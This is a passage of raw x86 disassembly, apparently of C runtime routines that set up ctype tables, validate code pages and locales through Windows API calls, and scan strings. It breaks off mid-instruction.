loc_42F849: ; CODE XREF: sub_42F640+21j mov esp, ebp pop ebp retn sub_42F640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F850 proc near ; CODE XREF: sub_42F640+C8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42F854: ; CODE XREF: sub_42F850:loc_42F8C7j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42F8C9 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42F88D mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42F88D mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42F8C7 ; --------------------------------------------------------------------------- loc_42F88D: ; CODE XREF: sub_42F850+17j ; sub_42F850+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42F8BE mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_42F89E: ; CODE XREF: sub_42F850+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_42F89E jmp short loc_42F8C7 ; --------------------------------------------------------------------------- loc_42F8BE: ; CODE XREF: sub_42F850+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42F8C7: ; CODE XREF: sub_42F850+3Bj ; sub_42F850+6Cj jmp short loc_42F854 ; --------------------------------------------------------------------------- loc_42F8C9: ; CODE XREF: sub_42F850+Cj mov esp, ebp pop ebp retn sub_42F850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F8D0 proc near ; CODE XREF: sub_42F510+4Dp ; sub_42F510+A7p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_42F8DE jmp loc_42F961 ; --------------------------------------------------------------------------- loc_42F8DE: ; CODE XREF: sub_42F8D0+7j mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], offset dword_4EFC04 jz short loc_42F961 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_419980 add esp, 8 loc_42F961: ; CODE XREF: sub_42F8D0+9j ; sub_42F8D0+18j pop ebp retn sub_42F8D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42F970 proc near ; DATA XREF: .nsp0:00451BA0o var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_E = byte ptr -0Eh push ebp mov ebp, esp sub esp, 30h mov [ebp+var_2C], 0 mov [ebp+var_28], 0 cmp dword_4EF974, 0 jz loc_42FCC1 cmp dword_4EF984, 0 jnz short loc_42F9C0 push offset dword_4EF984 push 1004h xor eax, eax mov ax, word_4EFBBC push eax push 0 call sub_4338F0 add esp, 10h test eax, eax jz short loc_42F9C0 jmp loc_42FC82 ; --------------------------------------------------------------------------- loc_42F9C0: ; CODE XREF: sub_42F970+28j ; sub_42F970+49j push 5Ch push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_418EF0 add esp, 10h mov [ebp+var_30], eax push 5Eh push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_418EF0 add esp, 10h mov [ebp+var_1C], eax push 60h push offset aInitctyp_c ; "initctyp.c" push 2 push 101h call sub_418EF0 add esp, 10h mov [ebp+var_2C], eax push 62h push offset aInitctyp_c ; "initctyp.c" push 2 push 202h call sub_418EF0 add esp, 10h mov [ebp+var_28], eax cmp [ebp+var_30], 0 jz short loc_42FA3C cmp [ebp+var_1C], 0 jz short loc_42FA3C cmp [ebp+var_2C], 0 jz short loc_42FA3C cmp [ebp+var_28], 0 jnz short loc_42FA41 loc_42FA3C: ; CODE XREF: sub_42F970+B8j ; sub_42F970+BEj ... jmp loc_42FC82 ; --------------------------------------------------------------------------- loc_42FA41: ; CODE XREF: sub_42F970+CAj mov ecx, [ebp+var_2C] mov [ebp+var_18], ecx mov [ebp+var_20], 0 jmp short loc_42FA59 ; --------------------------------------------------------------------------- loc_42FA50: ; CODE XREF: sub_42F970+103j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_42FA59: ; CODE XREF: sub_42F970+DEj cmp [ebp+var_20], 100h jge short loc_42FA75 mov eax, [ebp+var_18] mov cl, byte ptr [ebp+var_20] mov [eax], cl mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx jmp short loc_42FA50 ; --------------------------------------------------------------------------- loc_42FA75: ; CODE XREF: sub_42F970+F0j lea eax, [ebp+var_14] push eax mov ecx, dword_4EF984 push ecx call dword_4F14B0 ; GetCPInfo test eax, eax jnz short loc_42FA8F jmp loc_42FC82 ; --------------------------------------------------------------------------- loc_42FA8F: ; CODE XREF: sub_42F970+118j cmp [ebp+var_14], 2 jbe short loc_42FA9A jmp loc_42FC82 ; --------------------------------------------------------------------------- loc_42FA9A: ; CODE XREF: sub_42F970+123j mov edx, [ebp+var_14] and edx, 0FFFFh mov dword_4516A8, edx cmp dword_4516A8, 1 jle short loc_42FB09 lea eax, [ebp+var_E] mov [ebp+var_18], eax jmp short loc_42FAC3 ; --------------------------------------------------------------------------- loc_42FABA: ; CODE XREF: sub_42F970:loc_42FB07j mov ecx, [ebp+var_18] add ecx, 2 mov [ebp+var_18], ecx loc_42FAC3: ; CODE XREF: sub_42F970+148j mov edx, [ebp+var_18] xor eax, eax mov al, [edx] test eax, eax jz short loc_42FB09 mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_42FB09 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax] mov [ebp+var_20], ecx jmp short loc_42FAEF ; --------------------------------------------------------------------------- loc_42FAE6: ; CODE XREF: sub_42F970+195j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_42FAEF: ; CODE XREF: sub_42F970+174j mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_20], ecx jg short loc_42FB07 mov edx, [ebp+var_2C] add edx, [ebp+var_20] mov byte ptr [edx], 0 jmp short loc_42FAE6 ; --------------------------------------------------------------------------- loc_42FB07: ; CODE XREF: sub_42F970+18Aj jmp short loc_42FABA ; --------------------------------------------------------------------------- loc_42FB09: ; CODE XREF: sub_42F970+140j ; sub_42F970+15Cj ... push 0 push 0 push 0 mov eax, [ebp+var_30] add eax, 2 push eax push 100h mov ecx, [ebp+var_2C] push ecx push 1 call sub_42C100 add esp, 1Ch test eax, eax jnz short loc_42FB32 jmp loc_42FC82 ; --------------------------------------------------------------------------- loc_42FB32: ; CODE XREF: sub_42F970+1BBj mov edx, [ebp+var_30] mov word ptr [edx], 0 mov eax, [ebp+var_28] mov [ebp+var_24], eax mov [ebp+var_20], 0 jmp short loc_42FB52 ; --------------------------------------------------------------------------- loc_42FB49: ; CODE XREF: sub_42F970+1FEj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_42FB52: ; CODE XREF: sub_42F970+1D7j cmp [ebp+var_20], 100h jge short loc_42FB70 mov edx, [ebp+var_24] mov ax, word ptr [ebp+var_20] mov [edx], ax mov ecx, [ebp+var_24] add ecx, 2 mov [ebp+var_24], ecx jmp short loc_42FB49 ; --------------------------------------------------------------------------- loc_42FB70: ; CODE XREF: sub_42F970+1E9j push 0 push 0 mov edx, [ebp+var_1C] add edx, 2 push edx push 100h mov eax, [ebp+var_28] push eax push 1 call sub_433B90 add esp, 18h test eax, eax jnz short loc_42FB97 jmp loc_42FC82 ; --------------------------------------------------------------------------- loc_42FB97: ; CODE XREF: sub_42F970+220j mov ecx, [ebp+var_1C] mov word ptr [ecx], 0 cmp dword_4516A8, 1 jle short loc_42FC03 lea edx, [ebp+var_E] mov [ebp+var_18], edx jmp short loc_42FBB9 ; --------------------------------------------------------------------------- loc_42FBB0: ; CODE XREF: sub_42F970:loc_42FC01j mov eax, [ebp+var_18] add eax, 2 mov [ebp+var_18], eax loc_42FBB9: ; CODE XREF: sub_42F970+23Ej mov ecx, [ebp+var_18] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_42FC03 mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_42FC03 mov edx, [ebp+var_18] xor eax, eax mov al, [edx] mov [ebp+var_20], eax jmp short loc_42FBE5 ; --------------------------------------------------------------------------- loc_42FBDC: ; CODE XREF: sub_42F970+28Fj mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx loc_42FBE5: ; CODE XREF: sub_42F970+26Aj mov edx, [ebp+var_18] xor eax, eax mov al, [edx+1] cmp [ebp+var_20], eax jg short loc_42FC01 mov ecx, [ebp+var_20] mov edx, [ebp+var_30] mov word ptr [edx+ecx*2+2], 8000h jmp short loc_42FBDC ; --------------------------------------------------------------------------- loc_42FC01: ; CODE XREF: sub_42F970+280j jmp short loc_42FBB0 ; --------------------------------------------------------------------------- loc_42FC03: ; CODE XREF: sub_42F970+236j ; sub_42F970+252j ... mov eax, [ebp+var_30] add eax, 2 mov off_45149C, eax mov ecx, [ebp+var_1C] add ecx, 2 mov off_4514A0, ecx cmp dword_4EFBA8, 0 jz short loc_42FC34 push 2 mov edx, dword_4EFBA8 push edx call sub_419980 add esp, 8 loc_42FC34: ; CODE XREF: sub_42F970+2B1j mov eax, [ebp+var_30] mov dword_4EFBA8, eax cmp dword_4EFBAC, 0 jz short loc_42FC56 push 2 mov ecx, dword_4EFBAC push ecx call sub_419980 add esp, 8 loc_42FC56: ; CODE XREF: sub_42F970+2D3j mov edx, [ebp+var_1C] mov dword_4EFBAC, edx push 2 mov eax, [ebp+var_2C] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+var_28] push ecx call sub_419980 add esp, 8 xor eax, eax jmp loc_42FD0C ; --------------------------------------------------------------------------- loc_42FC82: ; CODE XREF: sub_42F970+4Bj ; sub_42F970:loc_42FA3Cj ... push 2 mov edx, [ebp+var_30] push edx call sub_419980 add esp, 8 push 2 mov eax, [ebp+var_1C] push eax call sub_419980 add esp, 8 push 2 mov ecx, [ebp+var_2C] push ecx call sub_419980 add esp, 8 push 2 mov edx, [ebp+var_28] push edx call sub_419980 add esp, 8 mov eax, 1 jmp short loc_42FD0C ; --------------------------------------------------------------------------- loc_42FCC1: ; CODE XREF: sub_42F970+1Bj mov off_45149C, offset word_4514A6 mov off_4514A0, offset word_4514A6 push 2 mov eax, dword_4EFBA8 push eax call sub_419980 add esp, 8 push 2 mov ecx, dword_4EFBAC push ecx call sub_419980 add esp, 8 mov dword_4EFBA8, 0 mov dword_4EFBAC, 0 xor eax, eax loc_42FD0C: ; CODE XREF: sub_42F970+30Dj ; sub_42F970+34Fj mov esp, ebp pop ebp retn sub_42F970 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FD10 proc near ; DATA XREF: .nsp0:00451B94o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42FD10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FD20 proc near ; CODE XREF: .nsp0:00428A6Ep ; sub_429120+7Bp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_42FD34: ; CODE XREF: sub_42FD20+1Fj mov al, [edx] or al, al jz short loc_42FD41 inc edx bts [esp+24h+var_24], eax jmp short loc_42FD34 ; --------------------------------------------------------------------------- loc_42FD41: ; CODE XREF: sub_42FD20+18j mov esi, [ebp+arg_0] or ecx, 0FFFFFFFFh nop loc_42FD48: ; CODE XREF: sub_42FD20+34j inc ecx mov al, [esi] or al, al jz short loc_42FD56 inc esi bt [esp+24h+var_24], eax jnb short loc_42FD48 loc_42FD56: ; CODE XREF: sub_42FD20+2Dj mov eax, ecx add esp, 20h pop esi leave retn sub_42FD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FD60 proc near ; CODE XREF: .nsp0:0042898Dp var_24 = dword ptr -24h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+arg_4] lea ecx, [ecx+0] loc_42FD74: ; CODE XREF: sub_42FD60+1Fj mov al, [edx] or al, al jz short loc_42FD81 inc edx bts [esp+24h+var_24], eax jmp short loc_42FD74 ; --------------------------------------------------------------------------- loc_42FD81: ; CODE XREF: sub_42FD60+18j mov esi, [ebp+arg_0] loc_42FD84: ; CODE XREF: sub_42FD60+2Fj mov al, [esi] or al, al jz short loc_42FD94 inc esi bt [esp+24h+var_24], eax jnb short loc_42FD84 lea eax, [esi-1] loc_42FD94: ; CODE XREF: sub_42FD60+28j add esp, 20h pop esi leave retn sub_42FD60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FDA0 proc near ; CODE XREF: sub_428F30+D3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 cmp dword_4EFBF4, 0 jnz short loc_42FDD2 call sub_430870 test eax, eax jz short loc_42FDC2 mov eax, dword_4F1380 mov [ebp+var_8], eax jmp short loc_42FDC9 ; --------------------------------------------------------------------------- loc_42FDC2: ; CODE XREF: sub_42FDA0+16j mov [ebp+var_8], offset sub_4308C0 loc_42FDC9: ; CODE XREF: sub_42FDA0+20j mov ecx, [ebp+var_8] mov dword_4EFBF4, ecx loc_42FDD2: ; CODE XREF: sub_42FDA0+Dj cmp [ebp+arg_0], 0 jnz short loc_42FDE2 call sub_4306C0 jmp loc_42FEAE ; --------------------------------------------------------------------------- loc_42FDE2: ; CODE XREF: sub_42FDA0+36j mov edx, [ebp+arg_0] mov dword_4EFBE4, edx cmp dword_4EFBE4, 0 jz short loc_42FE14 mov eax, dword_4EFBE4 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42FE14 push offset dword_4EFBE4 push 40h push offset off_4523E0 call sub_42FFA0 add esp, 0Ch loc_42FE14: ; CODE XREF: sub_42FDA0+52j ; sub_42FDA0+5Ej mov edx, [ebp+arg_0] add edx, 40h mov dword_4EFBE8, edx cmp dword_4EFBE8, 0 jz short loc_42FE49 mov eax, dword_4EFBE8 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42FE49 push offset dword_4EFBE8 push 16h push offset off_452328 call sub_42FFA0 add esp, 0Ch loc_42FE49: ; CODE XREF: sub_42FDA0+87j ; sub_42FDA0+93j mov dword_4EFBEC, 0 cmp dword_4EFBE4, 0 jz short loc_42FE8D mov edx, dword_4EFBE4 movsx eax, byte ptr [edx] test eax, eax jz short loc_42FE8D cmp dword_4EFBE8, 0 jz short loc_42FE86 mov ecx, dword_4EFBE8 movsx edx, byte ptr [ecx] test edx, edx jz short loc_42FE86 call sub_430030 jmp short loc_42FE8B ; --------------------------------------------------------------------------- loc_42FE86: ; CODE XREF: sub_42FDA0+D0j ; sub_42FDA0+DDj call sub_430420 loc_42FE8B: ; CODE XREF: sub_42FDA0+E4j jmp short loc_42FEAE ; --------------------------------------------------------------------------- loc_42FE8D: ; CODE XREF: sub_42FDA0+BAj ; sub_42FDA0+C7j cmp dword_4EFBE8, 0 jz short loc_42FEA9 mov eax, dword_4EFBE8 movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42FEA9 call sub_4305C0 jmp short loc_42FEAE ; --------------------------------------------------------------------------- loc_42FEA9: ; CODE XREF: sub_42FDA0+F4j ; sub_42FDA0+100j call sub_4306C0 loc_42FEAE: ; CODE XREF: sub_42FDA0+3Dj ; sub_42FDA0:loc_42FE8Bj ... cmp dword_4EFBEC, 0 jnz short loc_42FEBE xor eax, eax jmp loc_42FF9C ; --------------------------------------------------------------------------- loc_42FEBE: ; CODE XREF: sub_42FDA0+115j mov edx, [ebp+arg_0] add edx, 80h push edx call sub_4306F0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_42FEEC mov eax, [ebp+var_4] and eax, 0FFFFh push eax call dword_4F12DC ; IsValidCodePage test eax, eax jnz short loc_42FEF3 loc_42FEEC: ; CODE XREF: sub_42FDA0+137j xor eax, eax jmp loc_42FF9C ; --------------------------------------------------------------------------- loc_42FEF3: ; CODE XREF: sub_42FDA0+14Aj push 1 mov ecx, dword_4EFBD4 push ecx call dword_4F12E0 ; IsValidLocale test eax, eax jnz short loc_42FF0D xor eax, eax jmp loc_42FF9C ; --------------------------------------------------------------------------- loc_42FF0D: ; CODE XREF: sub_42FDA0+164j cmp [ebp+arg_4], 0 jz short loc_42FF38 mov edx, [ebp+arg_4] mov ax, word ptr dword_4EFBD4 mov [edx], ax mov ecx, [ebp+arg_4] mov dx, word ptr dword_4EFBF0 mov [ecx+2], dx mov eax, [ebp+arg_4] mov cx, word ptr [ebp+var_4] mov [eax+4], cx loc_42FF38: ; CODE XREF: sub_42FDA0+171j cmp [ebp+arg_8], 0 jz short loc_42FF97 push 40h mov edx, [ebp+arg_8] push edx push 1001h mov eax, dword_4EFBD4 push eax call dword_4EFBF4 test eax, eax jnz short loc_42FF5D xor eax, eax jmp short loc_42FF9C ; --------------------------------------------------------------------------- loc_42FF5D: ; CODE XREF: sub_42FDA0+1B7j push 40h mov ecx, [ebp+arg_8] add ecx, 40h push ecx push 1002h mov edx, dword_4EFBF0 push edx call dword_4EFBF4 test eax, eax jnz short loc_42FF80 xor eax, eax jmp short loc_42FF9C ; --------------------------------------------------------------------------- loc_42FF80: ; CODE XREF: sub_42FDA0+1DAj push 0Ah mov eax, [ebp+arg_8] add eax, 80h push eax mov ecx, [ebp+var_4] push ecx call sub_42AE00 add esp, 0Ch loc_42FF97: ; CODE XREF: sub_42FDA0+19Cj mov eax, 1 loc_42FF9C: ; CODE XREF: sub_42FDA0+119j ; sub_42FDA0+14Ej ... mov esp, ebp pop ebp retn sub_42FDA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FFA0 proc near ; CODE XREF: sub_42FDA0+6Cp ; sub_42FDA0+A1p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], 1 mov [ebp+var_C], 0 loc_42FFB4: ; CODE XREF: sub_42FFA0:loc_43001Cj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jg short loc_43001E cmp [ebp+var_8], 0 jz short loc_43001E mov eax, [ebp+var_C] add eax, [ebp+arg_4] cdq sub eax, edx sar eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov eax, [edx+ecx*8] push eax mov ecx, [ebp+arg_8] mov edx, [ecx] push edx call sub_41DBF0 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_430002 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] lea edx, [ecx+eax*8+4] mov eax, [ebp+arg_8] mov [eax], edx jmp short loc_43001C ; --------------------------------------------------------------------------- loc_430002: ; CODE XREF: sub_42FFA0+4Fj cmp [ebp+var_8], 0 jge short loc_430013 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_43001C ; --------------------------------------------------------------------------- loc_430013: ; CODE XREF: sub_42FFA0+66j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_C], edx loc_43001C: ; CODE XREF: sub_42FFA0+60j ; sub_42FFA0+71j jmp short loc_42FFB4 ; --------------------------------------------------------------------------- loc_43001E: ; CODE XREF: sub_42FFA0+1Aj ; sub_42FFA0+20j mov esp, ebp pop ebp retn sub_42FFA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430030 proc near ; CODE XREF: sub_42FDA0+DFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4EFBE4 push eax call sub_418D00 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4EFBE0, ecx mov edx, dword_4EFBE8 push edx call sub_418D00 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4EFBD8, ecx mov dword_4EFBD4, 0 cmp dword_4EFBE0, 0 jz short loc_430089 mov [ebp+var_4], 2 jmp short loc_43009B ; --------------------------------------------------------------------------- loc_430089: ; CODE XREF: sub_430030+4Ej mov edx, dword_4EFBE4 push edx call sub_430AD0 add esp, 4 mov [ebp+var_4], eax loc_43009B: ; CODE XREF: sub_430030+57j mov eax, [ebp+var_4] mov dword_4EFBDC, eax push 1 push offset sub_4300F0 call dword_4F12D8 ; EnumSystemLocalesA mov ecx, dword_4EFBEC and ecx, 100h test ecx, ecx jz short loc_4300DC mov edx, dword_4EFBEC and edx, 200h test edx, edx jz short loc_4300DC mov eax, dword_4EFBEC and eax, 7 test eax, eax jnz short loc_4300E6 loc_4300DC: ; CODE XREF: sub_430030+8Ej ; sub_430030+9Ej mov dword_4EFBEC, 0 loc_4300E6: ; CODE XREF: sub_430030+AAj mov esp, ebp pop ebp retn sub_430030 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4300F0 proc near ; DATA XREF: sub_430030+75o var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, [ebp+arg_0] push eax call sub_430A50 add esp, 4 mov [ebp+var_7C], eax push 78h lea ecx, [ebp+var_78] push ecx mov edx, dword_4EFBD8 neg edx sbb edx, edx and edx, 0FFFFF005h add edx, 1002h push edx mov eax, [ebp+var_7C] push eax call dword_4EFBF4 test eax, eax jnz short loc_430144 mov dword_4EFBEC, 0 mov eax, 1 jmp loc_43040E ; --------------------------------------------------------------------------- loc_430144: ; CODE XREF: sub_4300F0+3Ej lea ecx, [ebp+var_78] push ecx mov edx, dword_4EFBE8 push edx call sub_41DBF0 add esp, 8 test eax, eax jnz loc_43027F push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_4EFBE0 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_4EFBF4 test eax, eax jnz short loc_43019E mov dword_4EFBEC, 0 mov eax, 1 jmp loc_43040E ; --------------------------------------------------------------------------- loc_43019E: ; CODE XREF: sub_4300F0+98j lea eax, [ebp+var_78] push eax mov ecx, dword_4EFBE4 push ecx call sub_41DBF0 add esp, 8 test eax, eax jnz short loc_4301E0 mov edx, dword_4EFBEC or edx, 304h mov dword_4EFBEC, edx mov eax, [ebp+var_7C] mov dword_4EFBF0, eax mov ecx, dword_4EFBF0 mov dword_4EFBD4, ecx jmp loc_43027F ; --------------------------------------------------------------------------- loc_4301E0: ; CODE XREF: sub_4300F0+C3j mov edx, dword_4EFBEC and edx, 2 test edx, edx jnz loc_43027F cmp dword_4EFBDC, 0 jz short loc_43024D mov eax, dword_4EFBDC push eax lea ecx, [ebp+var_78] push ecx mov edx, dword_4EFBE4 push edx call sub_433E00 add esp, 0Ch test eax, eax jnz short loc_43024D mov eax, dword_4EFBEC or al, 2 mov dword_4EFBEC, eax mov ecx, [ebp+var_7C] mov dword_4EFBF0, ecx mov edx, dword_4EFBE4 push edx call sub_418D00 add esp, 4 cmp eax, dword_4EFBDC jnz short loc_43024B mov eax, [ebp+var_7C] mov dword_4EFBD4, eax loc_43024B: ; CODE XREF: sub_4300F0+151j jmp short loc_43027F ; --------------------------------------------------------------------------- loc_43024D: ; CODE XREF: sub_4300F0+108j ; sub_4300F0+125j mov ecx, dword_4EFBEC and ecx, 1 test ecx, ecx jnz short loc_43027F mov edx, [ebp+var_7C] push edx call sub_430790 add esp, 4 test eax, eax jz short loc_43027F mov eax, dword_4EFBEC or al, 1 mov dword_4EFBEC, eax mov ecx, [ebp+var_7C] mov dword_4EFBF0, ecx loc_43027F: ; CODE XREF: sub_4300F0+69j ; sub_4300F0+EBj ... mov edx, dword_4EFBEC and edx, 300h cmp edx, 300h jz loc_430401 push 78h lea eax, [ebp+var_78] push eax mov ecx, dword_4EFBE0 neg ecx sbb ecx, ecx and ecx, 0FFFFF002h add ecx, 1001h push ecx mov edx, [ebp+var_7C] push edx call dword_4EFBF4 test eax, eax jnz short loc_4302D6 mov dword_4EFBEC, 0 mov eax, 1 jmp loc_43040E ; --------------------------------------------------------------------------- loc_4302D6: ; CODE XREF: sub_4300F0+1D0j lea eax, [ebp+var_78] push eax mov ecx, dword_4EFBE4 push ecx call sub_41DBF0 add esp, 8 test eax, eax jnz loc_4303A0 mov edx, dword_4EFBEC or dh, 2 mov dword_4EFBEC, edx cmp dword_4EFBE0, 0 jz short loc_43032A mov eax, dword_4EFBEC or ah, 1 mov dword_4EFBEC, eax cmp dword_4EFBD4, 0 jnz short loc_430328 mov ecx, [ebp+var_7C] mov dword_4EFBD4, ecx loc_430328: ; CODE XREF: sub_4300F0+22Dj jmp short loc_43039E ; --------------------------------------------------------------------------- loc_43032A: ; CODE XREF: sub_4300F0+217j cmp dword_4EFBDC, 0 jz short loc_43037F mov edx, dword_4EFBE4 push edx call sub_418D00 add esp, 4 cmp eax, dword_4EFBDC jnz short loc_43037F push 1 mov eax, [ebp+var_7C] push eax call sub_4307E0 add esp, 8 test eax, eax jz short loc_43037D mov ecx, dword_4EFBEC or ch, 1 mov dword_4EFBEC, ecx cmp dword_4EFBD4, 0 jnz short loc_43037D mov edx, [ebp+var_7C] mov dword_4EFBD4, edx loc_43037D: ; CODE XREF: sub_4300F0+26Aj ; sub_4300F0+282j jmp short loc_43039E ; --------------------------------------------------------------------------- loc_43037F: ; CODE XREF: sub_4300F0+241j ; sub_4300F0+258j mov eax, dword_4EFBEC or ah, 1 mov dword_4EFBEC, eax cmp dword_4EFBD4, 0 jnz short loc_43039E mov ecx, [ebp+var_7C] mov dword_4EFBD4, ecx loc_43039E: ; CODE XREF: sub_4300F0:loc_430328j ; sub_4300F0:loc_43037Dj ... jmp short loc_430401 ; --------------------------------------------------------------------------- loc_4303A0: ; CODE XREF: sub_4300F0+1FBj cmp dword_4EFBE0, 0 jnz short loc_430401 cmp dword_4EFBDC, 0 jz short loc_430401 mov edx, dword_4EFBDC push edx lea eax, [ebp+var_78] push eax mov ecx, dword_4EFBE4 push ecx call sub_433E00 add esp, 0Ch test eax, eax jnz short loc_430401 push 0 mov edx, [ebp+var_7C] push edx call sub_4307E0 add esp, 8 test eax, eax jz short loc_430401 mov eax, dword_4EFBEC or ah, 1 mov dword_4EFBEC, eax cmp dword_4EFBD4, 0 jnz short loc_430401 mov ecx, [ebp+var_7C] mov dword_4EFBD4, ecx loc_430401: ; CODE XREF: sub_4300F0+1A1j ; sub_4300F0:loc_43039Ej ... mov eax, dword_4EFBEC and eax, 4 neg eax sbb eax, eax inc eax loc_43040E: ; CODE XREF: sub_4300F0+4Fj ; sub_4300F0+A9j ... mov esp, ebp pop ebp retn 4 sub_4300F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430420 proc near ; CODE XREF: sub_42FDA0:loc_42FE86p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov eax, dword_4EFBE4 push eax call sub_418D00 add esp, 4 xor ecx, ecx cmp eax, 3 setz cl mov dword_4EFBE0, ecx cmp dword_4EFBE0, 0 jz short loc_430452 mov [ebp+var_4], 2 jmp short loc_430464 ; --------------------------------------------------------------------------- loc_430452: ; CODE XREF: sub_430420+27j mov edx, dword_4EFBE4 push edx call sub_430AD0 add esp, 4 mov [ebp+var_4], eax loc_430464: ; CODE XREF: sub_430420+30j mov eax, [ebp+var_4] mov dword_4EFBDC, eax push 1 push offset sub_4304A0 call dword_4F12D8 ; EnumSystemLocalesA mov ecx, dword_4EFBEC and ecx, 4 test ecx, ecx jnz short loc_430490 mov dword_4EFBEC, 0 loc_430490: ; CODE XREF: sub_430420+64j mov esp, ebp pop ebp retn sub_430420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4304A0 proc near ; DATA XREF: sub_430420+4Eo var_7C = dword ptr -7Ch var_78 = byte ptr -78h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 7Ch mov eax, 